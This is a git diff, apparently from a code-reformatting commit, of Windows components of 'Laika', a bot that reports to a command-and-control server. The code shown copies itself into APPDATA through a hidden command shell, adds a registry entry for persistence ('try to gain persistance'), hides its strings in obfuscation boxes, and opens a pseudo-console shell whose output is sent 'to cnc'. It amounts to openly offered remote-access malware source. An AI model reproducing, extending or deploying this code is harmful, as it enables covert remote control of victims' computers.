{
|
||||
CHAR modulePath[MAX_PATH] = {0};
|
||||
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
|
||||
LAIKA_ERROR("Failed to get executable path!\n");
|
||||
@@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
|
||||
LAIKA_DEBUG("EXE: %s\n", path);
|
||||
}
|
||||
|
||||
void getInstallPath(LPSTR path) {
|
||||
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
|
||||
void getInstallPath(LPSTR path)
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
|
||||
CHAR SHpath[MAX_PATH] = {0};
|
||||
|
||||
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
|
||||
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
|
||||
* microsoft will probably never completely remove it :P */
|
||||
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
|
||||
LAIKA_ERROR("Failed to get APPDATA!\n");
|
||||
|
||||
@@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
|
||||
lstrcpyA(path, "\"");
|
||||
lstrcatA(path, SHpath);
|
||||
lstrcatA(path, "\"");
|
||||
|
||||
|
||||
LAIKA_DEBUG("INSTALL: %s\n", path);
|
||||
|
||||
LAIKA_BOX_SKID_END(instFile);
|
||||
LAIKA_BOX_SKID_END(instDir);
|
||||
}
|
||||
|
||||
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
|
||||
spawn a shell to move the exe *after* we exit. */
|
||||
void installSelf() {
|
||||
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
|
||||
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
|
||||
the executable is open), so we spawn a shell to move the exe *after* we exit. */
|
||||
void installSelf()
|
||||
{
|
||||
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
|
||||
|
||||
getExecutablePath(szFile);
|
||||
getInstallPath(szInstall);
|
||||
@@ -130,24 +140,27 @@ void installSelf() {
|
||||
|
||||
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
||||
|
||||
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
|
||||
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
|
||||
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
|
||||
* TODO: move this string to a secret box */
|
||||
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
|
||||
lstrcatA(szCmd, szFile);
|
||||
lstrcatA(szCmd, " ");
|
||||
lstrcatA(szCmd, szInstall);
|
||||
lstrcatA(szCmd, " > NUL & ");
|
||||
lstrcatA(szCmd, szInstall);
|
||||
|
||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
||||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
||||
|
||||
laikaB_unmarkRunning();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void installRegistry() {
|
||||
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
|
||||
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
|
||||
void installRegistry()
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
|
||||
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
|
||||
CHAR newRegValue[MAX_PATH] = {0};
|
||||
LPSTR regVal;
|
||||
DWORD regSz;
|
||||
@@ -182,12 +195,14 @@ void installRegistry() {
|
||||
}
|
||||
|
||||
/* try to gain persistance on machine */
|
||||
void laikaB_tryPersist() {
|
||||
void laikaB_tryPersist()
|
||||
{
|
||||
installRegistry();
|
||||
installSelf();
|
||||
}
|
||||
|
||||
/* try to gain root */
|
||||
void laikaB_tryRoot() {
|
||||
void laikaB_tryRoot()
|
||||
{
|
||||
/* stubbed */
|
||||
}
|
@@ -1,14 +1,15 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* shells are significantly more complex on windows than linux for laika */
|
||||
struct sLaika_RAWshell {
|
||||
struct sLaika_RAWshell
|
||||
{
|
||||
struct sLaika_shell _shell;
|
||||
HANDLE in, out;
|
||||
PROCESS_INFORMATION procInfo;
|
||||
@@ -16,12 +17,16 @@ struct sLaika_RAWshell {
|
||||
HPCON pseudoCon;
|
||||
};
|
||||
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows);
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
|
||||
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
;
|
||||
TCHAR szComspec[MAX_PATH];
|
||||
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
struct sLaika_RAWshell *shell =
|
||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
HRESULT hr;
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
||||
@@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
||||
}
|
||||
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcess(
|
||||
NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = CreateProcess(NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
if (hr != S_OK) {
|
||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||
|
||||
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (struct sLaika_shell*)shell;
|
||||
return (struct sLaika_shell *)shell;
|
||||
}
|
||||
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
|
||||
/* kill process (it's ok if it fails) */
|
||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||
@@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
||||
/* edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows)
|
||||
{
|
||||
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
||||
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
||||
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
||||
@@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
DWORD mode = PIPE_NOWAIT;
|
||||
|
||||
/* create the pipes to which the ConPTY will connect */
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
|
||||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
|
||||
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
||||
easier so it fits in nicely with the rest of the laika codebase
|
||||
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
||||
*/
|
||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
@@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
return hr;
|
||||
}
|
||||
|
||||
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
|
||||
/* also edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
|
||||
{
|
||||
HRESULT hr = E_UNEXPECTED;
|
||||
|
||||
if (pStartupInfo) {
|
||||
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
||||
|
||||
/* Initialize thread attribute list */
|
||||
if (pStartupInfo->lpAttributeList
|
||||
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
|
||||
if (pStartupInfo->lpAttributeList &&
|
||||
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
|
||||
|
||||
/* Set Pseudo Console attribute */
|
||||
hr = UpdateProcThreadAttribute(
|
||||
pStartupInfo->lpAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
|
||||
hPC,
|
||||
sizeof(HPCON),
|
||||
NULL,
|
||||
NULL)
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
|
||||
NULL, NULL)
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
} else {
|
||||
hr = HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
@@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
return hr;
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
DWORD rd;
|
||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
||||
bool readSucc =
|
||||
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
|
||||
|
||||
if (readSucc) {
|
||||
/* we read some input! send to cnc */
|
||||
@@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else {
|
||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
if (GetLastError() == ERROR_NO_DATA &&
|
||||
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
return true; /* recoverable, process is still alive */
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||
size_t length)
|
||||
{
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
size_t nLeft;
|
||||
DWORD nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
return false;
|
||||
|
Reference in New Issue
Block a user